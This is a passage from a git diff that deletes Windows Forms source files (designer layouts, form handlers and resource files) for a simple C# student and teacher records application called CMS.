this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.Size = new System.Drawing.Size(673, 359); - this.tableLayoutPanel4.TabIndex = 3; - // - // studentGV - // - this.studentGV.AllowUserToAddRows = false; - this.studentGV.BackgroundColor = System.Drawing.Color.White; - this.studentGV.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.studentGV.Dock = System.Windows.Forms.DockStyle.Fill; - this.studentGV.GridColor = System.Drawing.Color.Green; - this.studentGV.Location = new System.Drawing.Point(3, 3); - this.studentGV.Name = "studentGV"; - this.studentGV.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.CellSelect; - this.studentGV.Size = new System.Drawing.Size(667, 353); - this.studentGV.TabIndex = 1; - this.studentGV.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.studentGV_CellContentClick); - // - // pictureBox1 - // - this.pictureBox1.BackgroundImage = global::CMS.Properties.Resources.images; - this.pictureBox1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; - this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill; - this.pictureBox1.Location = new System.Drawing.Point(3, 3); - this.pictureBox1.Name = "pictureBox1"; - this.pictureBox1.Size = new System.Drawing.Size(115, 79); - this.pictureBox1.TabIndex = 0; - this.pictureBox1.TabStop = false; - // - // ViewAllStudent - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(800, 450); - this.Controls.Add(this.tableLayoutPanel1); - this.Name = "ViewAllStudent"; - this.Text = "ViewAllStudent"; - this.Load += new System.EventHandler(this.ViewAllStudent_Load); - this.tableLayoutPanel1.ResumeLayout(false); - this.tableLayoutPanel2.ResumeLayout(false); - this.tableLayoutPanel2.PerformLayout(); - this.tableLayoutPanel3.ResumeLayout(false); - this.tableLayoutPanel3.PerformLayout(); - this.tableLayoutPanel4.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.studentGV)).EndInit(); - ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); - this.ResumeLayout(false); - - } - - #endregion - - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel1; - private System.Windows.Forms.PictureBox pictureBox1; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel2; - private System.Windows.Forms.Label label1; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel3; - private System.Windows.Forms.Label label3; - private System.Windows.Forms.Label label2; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel4; - public System.Windows.Forms.DataGridView studentGV; - } -} \ No newline at end of file diff --git a/Add Code Here/C#/CMS/ViewAllStudent.cs b/Add Code Here/C#/CMS/ViewAllStudent.cs deleted file mode 100644 index 07a2c49f58e..00000000000 --- a/Add Code Here/C#/CMS/ViewAllStudent.cs +++ /dev/null @@ -1,47 +0,0 @@ -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Linq; -using System.Text; -using System.Threading.Tasks; -using System.Windows.Forms; -using CMS.DL; -using CMS.BL; - -namespace CMS -{ - public partial class ViewAllStudent : Form - { - public ViewAllStudent() - { - InitializeComponent(); - STUDENTDL.StudentList1 = STUDENTDL.StudentList1.OrderByDescending(o => o.Matric_Marks1).ToList(); - } - - private void studentGV_CellContentClick(object sender, DataGridViewCellEventArgs e) - { - - } - - private void ViewAllStudent_Load(object sender, EventArgs e) - { - studentGV.DataSource = STUDENTDL.StudentList1; // introspection - } - - private void label2_Click(object sender, EventArgs e) - { - TeacherMenu Data = new TeacherMenu(); - this.Close(); - Data.Show(); - } - - private void label3_Click(object sender, EventArgs e) - { - Form1 menu = new Form1(); - this.Close(); - menu.Show(); - } - } -} diff --git a/Add Code Here/C#/CMS/ViewAllStudent.resx b/Add Code Here/C#/CMS/ViewAllStudent.resx deleted file mode 100644 index 1af7de150c9..00000000000 --- a/Add Code Here/C#/CMS/ViewAllStudent.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/Add Code Here/C#/CMS/ViewAllTeachers.Designer.cs b/Add Code Here/C#/CMS/ViewAllTeachers.Designer.cs deleted file mode 100644 index 569b0d8fdc2..00000000000 --- a/Add Code Here/C#/CMS/ViewAllTeachers.Designer.cs +++ /dev/null @@ -1,215 +0,0 @@ - -namespace CMS -{ - partial class ViewAllTeachers - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - this.tableLayoutPanel1 = new System.Windows.Forms.TableLayoutPanel(); - this.pictureBox1 = new System.Windows.Forms.PictureBox(); - this.tableLayoutPanel2 = new System.Windows.Forms.TableLayoutPanel(); - this.label1 = new System.Windows.Forms.Label(); - this.tableLayoutPanel3 = new System.Windows.Forms.TableLayoutPanel(); - this.label2 = new System.Windows.Forms.Label(); - this.label3 = new System.Windows.Forms.Label(); - this.tableLayoutPanel4 = new System.Windows.Forms.TableLayoutPanel(); - this.teacherGV = new System.Windows.Forms.DataGridView(); - this.tableLayoutPanel1.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); - this.tableLayoutPanel2.SuspendLayout(); - this.tableLayoutPanel3.SuspendLayout(); - this.tableLayoutPanel4.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.teacherGV)).BeginInit(); - this.SuspendLayout(); - // - // tableLayoutPanel1 - // - this.tableLayoutPanel1.ColumnCount = 2; - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 16.375F)); - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 83.625F)); - this.tableLayoutPanel1.Controls.Add(this.pictureBox1, 0, 0); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel2, 1, 0); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel3, 0, 1); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel4, 1, 1); - this.tableLayoutPanel1.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel1.Location = new System.Drawing.Point(0, 0); - this.tableLayoutPanel1.Name = "tableLayoutPanel1"; - this.tableLayoutPanel1.RowCount = 2; - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 20.66667F)); - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 79.33334F)); - this.tableLayoutPanel1.Size = new System.Drawing.Size(800, 450); - this.tableLayoutPanel1.TabIndex = 0; - // - // pictureBox1 - // - this.pictureBox1.BackgroundImage = global::CMS.Properties.Resources.download__1_; - this.pictureBox1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; - this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill; - this.pictureBox1.Location = new System.Drawing.Point(3, 3); - this.pictureBox1.Name = "pictureBox1"; - this.pictureBox1.Size = new System.Drawing.Size(125, 86); - this.pictureBox1.TabIndex = 0; - this.pictureBox1.TabStop = false; - // - // tableLayoutPanel2 - // - this.tableLayoutPanel2.BackColor = System.Drawing.Color.SkyBlue; - this.tableLayoutPanel2.ColumnCount = 1; - this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Controls.Add(this.label1, 0, 0); - this.tableLayoutPanel2.Dock = System.Windows.Forms.DockStyle.Top; - this.tableLayoutPanel2.Location = new System.Drawing.Point(134, 3); - this.tableLayoutPanel2.Name = "tableLayoutPanel2"; - this.tableLayoutPanel2.RowCount = 1; - this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Size = new System.Drawing.Size(663, 86); - this.tableLayoutPanel2.TabIndex = 1; - // - // label1 - // - this.label1.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label1.AutoSize = true; - this.label1.BackColor = System.Drawing.Color.Black; - this.label1.Font = new System.Drawing.Font("Book Antiqua", 16F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label1.ForeColor = System.Drawing.Color.White; - this.label1.Location = new System.Drawing.Point(235, 29); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(192, 27); - this.label1.TabIndex = 0; - this.label1.Text = "All Teachers Data"; - // - // tableLayoutPanel3 - // - this.tableLayoutPanel3.BackColor = System.Drawing.Color.LightSkyBlue; - this.tableLayoutPanel3.ColumnCount = 1; - this.tableLayoutPanel3.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.Controls.Add(this.label3, 0, 1); - this.tableLayoutPanel3.Controls.Add(this.label2, 0, 0); - this.tableLayoutPanel3.Dock = System.Windows.Forms.DockStyle.Left; - this.tableLayoutPanel3.Font = new System.Drawing.Font("Book Antiqua", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.tableLayoutPanel3.Location = new System.Drawing.Point(3, 95); - this.tableLayoutPanel3.Name = "tableLayoutPanel3"; - this.tableLayoutPanel3.RowCount = 2; - this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.Size = new System.Drawing.Size(125, 352); - this.tableLayoutPanel3.TabIndex = 2; - // - // label2 - // - this.label2.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label2.AutoSize = true; - this.label2.BackColor = System.Drawing.Color.Black; - this.label2.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label2.ForeColor = System.Drawing.Color.White; - this.label2.Location = new System.Drawing.Point(10, 69); - this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(104, 38); - this.label2.TabIndex = 0; - this.label2.Text = "Back To View Menu"; - this.label2.Click += new System.EventHandler(this.label2_Click); - // - // label3 - // - this.label3.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label3.AutoSize = true; - this.label3.BackColor = System.Drawing.Color.Black; - this.label3.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label3.ForeColor = System.Drawing.Color.White; - this.label3.Location = new System.Drawing.Point(10, 245); - this.label3.Name = "label3"; - this.label3.Size = new System.Drawing.Size(104, 38); - this.label3.TabIndex = 1; - this.label3.Text = "Back To Main Menu"; - this.label3.Click += new System.EventHandler(this.label3_Click); - // - // tableLayoutPanel4 - // - this.tableLayoutPanel4.ColumnCount = 1; - this.tableLayoutPanel4.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.Controls.Add(this.teacherGV, 0, 0); - this.tableLayoutPanel4.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel4.Location = new System.Drawing.Point(134, 95); - this.tableLayoutPanel4.Name = "tableLayoutPanel4"; - this.tableLayoutPanel4.RowCount = 1; - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.Size = new System.Drawing.Size(663, 352); - this.tableLayoutPanel4.TabIndex = 3; - // - // teacherGV - // - this.teacherGV.AllowUserToAddRows = false; - this.teacherGV.BackgroundColor = System.Drawing.Color.White; - this.teacherGV.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.teacherGV.Dock = System.Windows.Forms.DockStyle.Fill; - this.teacherGV.GridColor = System.Drawing.Color.Green; - this.teacherGV.Location = new System.Drawing.Point(3, 3); - this.teacherGV.Name = "teacherGV"; - this.teacherGV.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.CellSelect; - this.teacherGV.Size = new System.Drawing.Size(657, 346); - this.teacherGV.TabIndex = 0; - this.teacherGV.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.teacherGV_CellContentClick); - // - // ViewAllTeachers - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(800, 450); - this.Controls.Add(this.tableLayoutPanel1); - this.Name = "ViewAllTeachers"; - this.Text = "ViewAllTeachers"; - this.Load += new System.EventHandler(this.ViewAllTeachers_Load); - this.tableLayoutPanel1.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); - this.tableLayoutPanel2.ResumeLayout(false); - this.tableLayoutPanel2.PerformLayout(); - this.tableLayoutPanel3.ResumeLayout(false); - this.tableLayoutPanel3.PerformLayout(); - this.tableLayoutPanel4.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.teacherGV)).EndInit(); - this.ResumeLayout(false); - - } - - #endregion - - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel1; - private System.Windows.Forms.PictureBox pictureBox1; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel2; - private System.Windows.Forms.Label label1; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel3; - private System.Windows.Forms.Label label3; - private System.Windows.Forms.Label label2; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel4; - public System.Windows.Forms.DataGridView teacherGV; - } -} \ No newline at end of file diff --git a/Add Code Here/C#/CMS/ViewAllTeachers.cs b/Add Code Here/C#/CMS/ViewAllTeachers.cs deleted file mode 100644 index 8f63b50ce58..00000000000 --- a/Add Code Here/C#/CMS/ViewAllTeachers.cs +++ /dev/null @@ -1,46 +0,0 @@ -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Linq; -using System.Text; -using System.Threading.Tasks; -using System.Windows.Forms; -using CMS.DL; -using CMS.BL; - -namespace CMS -{ - public partial class ViewAllTeachers : Form - { - public ViewAllTeachers() - { - InitializeComponent(); - } - - private void teacherGV_CellContentClick(object sender, DataGridViewCellEventArgs e) - { - - } - - private void ViewAllTeachers_Load(object sender, EventArgs e) - { - teacherGV.DataSource = TEACHERDL.TeacherList1; // introspection - } - - private void label2_Click(object sender, EventArgs e) - { - ViewDataForm data = new ViewDataForm(); - this.Close(); - data.Show(); - } - - private void label3_Click(object sender, EventArgs e) - { - AdminMenu menu = new AdminMenu(); - menu.Show(); - this.Close(); - } - } -} diff --git a/Add Code Here/C#/CMS/ViewAllTeachers.resx b/Add Code Here/C#/CMS/ViewAllTeachers.resx deleted file mode 100644 index 1af7de150c9..00000000000 --- a/Add Code Here/C#/CMS/ViewAllTeachers.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/Add Code Here/C#/CMS/ViewDataForm.Designer.cs b/Add Code Here/C#/CMS/ViewDataForm.Designer.cs deleted file mode 100644 index 20877878829..00000000000 --- a/Add Code Here/C#/CMS/ViewDataForm.Designer.cs +++ /dev/null @@ -1,226 +0,0 @@ - -namespace CMS -{ - partial class ViewDataForm - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - this.tableLayoutPanel1 = new System.Windows.Forms.TableLayoutPanel(); - this.pictureBox1 = new System.Windows.Forms.PictureBox(); - this.tableLayoutPanel2 = new System.Windows.Forms.TableLayoutPanel(); - this.label1 = new System.Windows.Forms.Label(); - this.MenuLabel = new System.Windows.Forms.Label(); - this.tableLayoutPanel3 = new System.Windows.Forms.TableLayoutPanel(); - this.label3 = new System.Windows.Forms.Label(); - this.pictureBox2 = new System.Windows.Forms.PictureBox(); - this.label2 = new System.Windows.Forms.Label(); - this.pictureBox3 = new System.Windows.Forms.PictureBox(); - this.tableLayoutPanel1.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); - this.tableLayoutPanel2.SuspendLayout(); - this.tableLayoutPanel3.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.pictureBox2)).BeginInit(); - ((System.ComponentModel.ISupportInitialize)(this.pictureBox3)).BeginInit(); - this.SuspendLayout(); - // - // tableLayoutPanel1 - // - this.tableLayoutPanel1.BackColor = System.Drawing.Color.SkyBlue; - this.tableLayoutPanel1.ColumnCount = 2; - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 11.05442F)); - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 88.94558F)); - this.tableLayoutPanel1.Controls.Add(this.pictureBox1, 0, 0); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel2, 1, 0); - this.tableLayoutPanel1.Controls.Add(this.MenuLabel, 0, 1); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel3, 1, 1); - this.tableLayoutPanel1.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel1.Location = new System.Drawing.Point(0, 0); - this.tableLayoutPanel1.Name = "tableLayoutPanel1"; - this.tableLayoutPanel1.RowCount = 2; - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 21.24249F)); - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 78.75751F)); - this.tableLayoutPanel1.Size = new System.Drawing.Size(800, 450); - this.tableLayoutPanel1.TabIndex = 1; - // - // pictureBox1 - // - this.pictureBox1.BackgroundImage = global::CMS.Properties.Resources.download__1_; - this.pictureBox1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; - this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill; - this.pictureBox1.Location = new System.Drawing.Point(3, 3); - this.pictureBox1.Name = "pictureBox1"; - this.pictureBox1.Size = new System.Drawing.Size(82, 89); - this.pictureBox1.TabIndex = 0; - this.pictureBox1.TabStop = false; - // - // tableLayoutPanel2 - // - this.tableLayoutPanel2.BackColor = System.Drawing.Color.Black; - this.tableLayoutPanel2.ColumnCount = 1; - this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Controls.Add(this.label1, 0, 0); - this.tableLayoutPanel2.Dock = System.Windows.Forms.DockStyle.Top; - this.tableLayoutPanel2.Font = new System.Drawing.Font("Bookman Old Style", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.tableLayoutPanel2.ForeColor = System.Drawing.Color.White; - this.tableLayoutPanel2.Location = new System.Drawing.Point(91, 3); - this.tableLayoutPanel2.Name = "tableLayoutPanel2"; - this.tableLayoutPanel2.RowCount = 1; - this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Size = new System.Drawing.Size(706, 89); - this.tableLayoutPanel2.TabIndex = 1; - // - // label1 - // - this.label1.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label1.AutoSize = true; - this.label1.BackColor = System.Drawing.Color.White; - this.label1.Font = new System.Drawing.Font("Book Antiqua", 16F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label1.ForeColor = System.Drawing.Color.Black; - this.label1.Location = new System.Drawing.Point(275, 31); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(155, 27); - this.label1.TabIndex = 2; - this.label1.Text = "View All Data"; - // - // MenuLabel - // - this.MenuLabel.Anchor = System.Windows.Forms.AnchorStyles.None; - this.MenuLabel.AutoSize = true; - this.MenuLabel.BackColor = System.Drawing.Color.Black; - this.MenuLabel.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.MenuLabel.ForeColor = System.Drawing.Color.White; - this.MenuLabel.Location = new System.Drawing.Point(11, 244); - this.MenuLabel.Name = "MenuLabel"; - this.MenuLabel.Size = new System.Drawing.Size(65, 57); - this.MenuLabel.TabIndex = 2; - this.MenuLabel.Text = "Back To Main Menu"; - this.MenuLabel.Click += new System.EventHandler(this.MenuLabel_Click); - // - // tableLayoutPanel3 - // - this.tableLayoutPanel3.ColumnCount = 2; - this.tableLayoutPanel3.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 23.72719F)); - this.tableLayoutPanel3.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 76.27281F)); - this.tableLayoutPanel3.Controls.Add(this.label3, 1, 1); - this.tableLayoutPanel3.Controls.Add(this.pictureBox2, 0, 0); - this.tableLayoutPanel3.Controls.Add(this.label2, 1, 0); - this.tableLayoutPanel3.Controls.Add(this.pictureBox3, 0, 1); - this.tableLayoutPanel3.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel3.Location = new System.Drawing.Point(91, 98); - this.tableLayoutPanel3.Name = "tableLayoutPanel3"; - this.tableLayoutPanel3.RowCount = 2; - this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.Size = new System.Drawing.Size(706, 349); - this.tableLayoutPanel3.TabIndex = 3; - // - // label3 - // - this.label3.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label3.AutoSize = true; - this.label3.BackColor = System.Drawing.Color.Black; - this.label3.Font = new System.Drawing.Font("Book Antiqua", 16F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label3.ForeColor = System.Drawing.SystemColors.AppWorkspace; - this.label3.Location = new System.Drawing.Point(342, 248); - this.label3.Name = "label3"; - this.label3.Size = new System.Drawing.Size(188, 27); - this.label3.TabIndex = 3; - this.label3.Text = "View All Teacher"; - this.label3.Click += new System.EventHandler(this.label3_Click); - // - // pictureBox2 - // - this.pictureBox2.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; - this.pictureBox2.Dock = System.Windows.Forms.DockStyle.Fill; - this.pictureBox2.Image = global::CMS.Properties.Resources.images; - this.pictureBox2.Location = new System.Drawing.Point(3, 3); - this.pictureBox2.Name = "pictureBox2"; - this.pictureBox2.Size = new System.Drawing.Size(161, 168); - this.pictureBox2.TabIndex = 0; - this.pictureBox2.TabStop = false; - // - // label2 - // - this.label2.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label2.AutoSize = true; - this.label2.BackColor = System.Drawing.Color.Black; - this.label2.Font = new System.Drawing.Font("Book Antiqua", 16F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label2.ForeColor = System.Drawing.SystemColors.AppWorkspace; - this.label2.Location = new System.Drawing.Point(341, 73); - this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(191, 27); - this.label2.TabIndex = 1; - this.label2.Text = "View All Student "; - this.label2.Click += new System.EventHandler(this.label2_Click); - // - // pictureBox3 - // - this.pictureBox3.BackgroundImage = global::CMS.Properties.Resources.images__1_; - this.pictureBox3.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; - this.pictureBox3.Dock = System.Windows.Forms.DockStyle.Fill; - this.pictureBox3.Location = new System.Drawing.Point(3, 177); - this.pictureBox3.Name = "pictureBox3"; - this.pictureBox3.Size = new System.Drawing.Size(161, 169); - this.pictureBox3.TabIndex = 2; - this.pictureBox3.TabStop = false; - // - // ViewDataForm - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(800, 450); - this.Controls.Add(this.tableLayoutPanel1); - this.Name = "ViewDataForm"; - this.Text = "ViewDataForm"; - this.Load += new System.EventHandler(this.ViewDataForm_Load); - this.tableLayoutPanel1.ResumeLayout(false); - this.tableLayoutPanel1.PerformLayout(); - ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); - this.tableLayoutPanel2.ResumeLayout(false); - this.tableLayoutPanel2.PerformLayout(); - this.tableLayoutPanel3.ResumeLayout(false); - this.tableLayoutPanel3.PerformLayout(); - ((System.ComponentModel.ISupportInitialize)(this.pictureBox2)).EndInit(); - ((System.ComponentModel.ISupportInitialize)(this.pictureBox3)).EndInit(); - this.ResumeLayout(false); - - } - - #endregion - - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel1; - private System.Windows.Forms.PictureBox pictureBox1; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel2; - private System.Windows.Forms.Label label1; - private System.Windows.Forms.Label MenuLabel; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel3; - private System.Windows.Forms.Label label3; - private System.Windows.Forms.PictureBox pictureBox2; - private System.Windows.Forms.Label label2; - private System.Windows.Forms.PictureBox pictureBox3; - } -} \ No newline at end of file diff --git a/Add Code Here/C#/CMS/ViewDataForm.cs b/Add Code Here/C#/CMS/ViewDataForm.cs deleted file mode 100644 index 902b445b9b4..00000000000 --- a/Add Code Here/C#/CMS/ViewDataForm.cs +++ /dev/null @@ -1,46 +0,0 @@ -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Linq; -using System.Text; -using System.Threading.Tasks; -using System.Windows.Forms; - -namespace CMS -{ - public partial class ViewDataForm : Form - { - public ViewDataForm() - { - InitializeComponent(); - } - - private void ViewDataForm_Load(object sender, EventArgs e) - { - - } - - private void label2_Click(object sender, EventArgs e) - { - ViewAllStudent student = new ViewAllStudent(); - this.Close(); - student.Show(); - } - - private void MenuLabel_Click(object sender, EventArgs e) - { - AdminMenu Menu = new AdminMenu(); - this.Close(); - Menu.Show(); - } - - private void label3_Click(object sender, EventArgs e) - { - ViewAllTeachers teacher = new ViewAllTeachers(); - this.Close(); - teacher.Show(); - } - } -} diff --git a/Add Code Here/C#/CMS/ViewDataForm.resx b/Add Code Here/C#/CMS/ViewDataForm.resx deleted file mode 100644 index 1af7de150c9..00000000000 --- a/Add Code Here/C#/CMS/ViewDataForm.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/Add Code Here/C#/CMS/bin/Debug/CMS.exe b/Add Code Here/C#/CMS/bin/Debug/CMS.exe deleted file mode 100644 index 06d688b430b..00000000000 Binary files a/Add Code Here/C#/CMS/bin/Debug/CMS.exe and /dev/null differ diff --git a/Add Code Here/C#/CMS/bin/Debug/CMS.exe.config b/Add Code 